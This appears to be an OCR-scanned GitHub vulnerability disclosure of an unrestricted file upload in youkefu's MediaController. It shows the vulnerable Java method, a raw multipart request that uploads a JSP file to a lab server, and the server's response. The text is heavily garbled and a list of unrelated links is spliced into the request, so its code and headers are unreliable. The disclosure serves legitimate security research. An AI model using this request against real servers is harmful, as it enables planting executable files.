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39 lines (35 loc) - 2.04 KB

Code  Blame Raw [CJ

At line 138 of \youkefu-

master\src\main\java\com\ukefu\webim\web\handler\resource\MediaController.java ,Thereis

an upload method, and after roughly reading the code, it was found that there are no
restrictions or filtering processes on the file name inside the method. The file parameter
imgFile received by this method conforms to javax.servlet.http.HttpServletRequest type.

uploadFinder.ql J AgentControllerjava 1 J MediaControllerjava 1 X
C: » Java_Book > JAVARRESEIT > youkefu-master > src > main > java > com > ukefu > webim > web » handler > resource > J MediaControllerjava > €2 MediaController > @ index(HttpServietResponse
38  public class MediaController extends Handler({

L~

136 @RequestMapping("/image/upload")
137 @enu(type = "resouce" , subtype = "imageupload” , access = false)
138 public ModelAndview upload(ModelMap map,HttpServletRequest request , @RequestParam(value = "imgFile", required = false) MultipartfFile imgFile) -
139 ModelAndview view = request(super.createRequestPageTempletResponse(”/public/upload”)) ;
140 Uploadstatus upload = null ;
141 string fileName = null ;
142 if(imgFile!=null && imgFile.getOriginalFilename().lastIndexof(".") > @){
143 File uploadDir = new File(path , child:"upload");
144 if(luploadDir.exists()){
145 uploadDir.mkdirs() ;
146 } /
147 fileName = "upload/"+UKTools.md5(imgFile.getBytes())+imgFile.getOriginalFilename().substring(imgFile.getoriginalFilename().lastIndex0f(
148 FileCopyUtils.copy(imgFile.getBytes(), new File(path , fileName));
149
150 string fileURL = request.getScheme()+"://"+request.getServername()+"/res/image.html?id="+fileName ;
151 if(request.getServerPort() == 80){
152 fileURL = request.getScheme()+"://"+request.getServerName()+"/res/image.html?id="+fileName;
153 Yelse{
154 fileURL = request.getScheme()+"://"+request.getServernName()+":"+request.getServerPort()+"/res/image.html?id="+fileName;
155 }
156 upload = new UploadStatus("e" , fileURL); //EREERFSE EF, FAHEERME|
157 telse{
158 upload = new Uploadstatus("iEiZEAE");
159 }
160 map.addAttribute("upload”, upload) ;
161 return view ;
POST /res/image/upload.html HTTP/1.1 &

Host: 192.168.96.137:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/111.0

Accept:

text/html, application/xhtml+xml, application/xm1l;q=0.9, image/avif, image/webp,
*/*;,0=0.8

Accept-Language:

zh-CN, zh;q=0.8,zh-TW;g=0.7, zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

O


https://github.com/Fc04dB
https://github.com/Fc04dB/VUL
https://github.com/Fc04dB
https://github.com/Fc04dB/VUL/commits?author=Fc04dB
https://github.com/Fc04dB/VUL/commit/67bd8e2dc2f63d63ae46924928443f0166cd55c3
https://github.com/Fc04dB/VUL/commit/67bd8e2dc2f63d63ae46924928443f0166cd55c3
https://github.com/Fc04dB/VUL
https://github.com/Fc04dB/VUL/issues
https://github.com/Fc04dB/VUL/pulls
https://github.com/Fc04dB/VUL/actions
https://github.com/Fc04dB/VUL/projects
https://github.com/Fc04dB/VUL/security
https://github.com/Fc04dB/VUL/pulse
https://github.com/Fc04dB/VUL/tree/main
https://github.com/Fc04dB/VUL/commits/main/ukefu_upload.md
https://private-user-images.githubusercontent.com/147619626/435525348-94427c92-9d86-45de-a815-2759fb3b6eb3.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDY0NjMwNjYsIm5iZiI6MTc0NjQ2Mjc2NiwicGF0aCI6Ii8xNDc2MTk2MjYvNDM1NTI1MzQ4LTk0NDI3YzkyLTlkODYtNDVkZS1hODE1LTI3NTlmYjNiNmViMy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTA1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUwNVQxNjMyNDZaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0yZjJjMTEyNmIzYWRkN2ZmM2U0OTg5YzcxOTM2ODY5ZDY1MDU4ODY0ZDYzNDYzZDczZmY5NTQ3NTBkN2JhYWJkJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.UTHGctjKdtCX07MyeGmhGj-M6vBPrwDnOKKn9cFF-5E
https://private-user-images.githubusercontent.com/147619626/435525348-94427c92-9d86-45de-a815-2759fb3b6eb3.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDY0NjMwNjYsIm5iZiI6MTc0NjQ2Mjc2NiwicGF0aCI6Ii8xNDc2MTk2MjYvNDM1NTI1MzQ4LTk0NDI3YzkyLTlkODYtNDVkZS1hODE1LTI3NTlmYjNiNmViMy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTA1JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUwNVQxNjMyNDZaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0yZjJjMTEyNmIzYWRkN2ZmM2U0OTg5YzcxOTM2ODY5ZDY1MDU4ODY0ZDYzNDYzZDczZmY5NTQ3NTBkN2JhYWJkJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.UTHGctjKdtCX07MyeGmhGj-M6vBPrwDnOKKn9cFF-5E
https://github.com/Fc04dB/VUL/raw/refs/heads/main/ukefu_upload.md

Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=-----------ommme o 13001418927212618391481664692
Content-Length: 226
Origin: http://192.168.96.137:8088
Connection: close
Referer: http://192.168.96.137:8088/admin/config/index.html
Cookie: SESSION=ced351be-b08e-443a-972d-17e17693f2a9
Upgrade-Insecure-Requests: 1
----------------------------- 13001418927212618391481664692
Content-Disposition: form-data; name="imgFile"; filename="test.jsp"
Content-Type: text/html
123456

----------------------------- 13001418927212618391481664692- -

After the above request packet was sent, the access path of the file was returned

Request Response
Raw | Params | Headers | Hex Raw | Headers I Hex | Render
POST /res/image/upload. html HITP/1.1 " HITP/1.1 200
Host: 192.168.96.137: 8088 - K-Application-Context: application:80
User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:109.0) Gecko/20100101 Access—Contrel-Allow—Origin: *
Firefox/111.0 Access—Contrel-Allow-Methods: POST, GET, OPTIONS, DELEIE, PUT
Accept: Access-Control-Max-Age: 3600
text/htul, application/xhtnl+xnl, application/xnl;g=0. 9, 1nage/avif, image/webp, */*;q=0. 8 Access-Control-Allow-Headers: x-requested-with, accept, authorization, content-type
Accept-Language: zh-CH, zh;q=0.8, zh-TW.q=0. 7, zh-HK :q=0. 5, en-US  q=0. 3, en;q=0. 2 Access-Control-Allow-Credentials: true
Accept-Bncoding: gzip. deflate Content-Type: text/html:charset=UTF-8
Content-Type: multipart/form—data Content-Lanpuage: zh-CN
bomdarys—————— 13001418927212618391451664692 Date: Tue, 18 Apr 2023 09:54:13 GMI
Content-Length: 226 Comnection: close
Origin: http://192.168. 96. 137: 8083 Content-Length: 118
Connection: close
Refever: http://192.168.96. 137: 8088/admin/config/index. htnl 1{
Cookie: SESSION=ced351be-b08e-443a-072d-17e17693f2ad “error” : 0
Upgrade-Insecure-Requests: 1
> Turl”: "http://192.168.96. 137: 8088/res/image. html?id=upload/el0adc3949ba59abbe56e057f20£883
**************************** 13001418927212618391481664692 e.isp”
Content-Disposition: form-data: name="ingFile”: filename="ESStiisH }
Content-Type: text/html
123456
13001418927212618301481664692——

Search for the file name in the server where the application is located, such as
"e10adc3949ba59abbe56e057f20f883e. JSP", Found that the uploaded file has been written

verbatim to the disk

STHHF) SRER(E) ME(V) BR(S) $BE|B) IR(T) #EH)
e10adc3949ba59abbe56e057F20f883e. jspl

Ef fies
|| @10adc3949ba59abbe56e057f20f883e.jsp Ciapache-tomcat-8.5.59-windows-x64\apache-tomcat-8.5.59\bin\data\upload

Accessible website © http://192.168.96.137:8088/res/image.html?
id=upload/e10adc3949ba59abbe56e057f20f883e.jsp
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If uploading a image :

C @ O R 192.168.96.137:8088/res/image.html?id=logo%2Fc456427038d97355fbb32d21746b298.png
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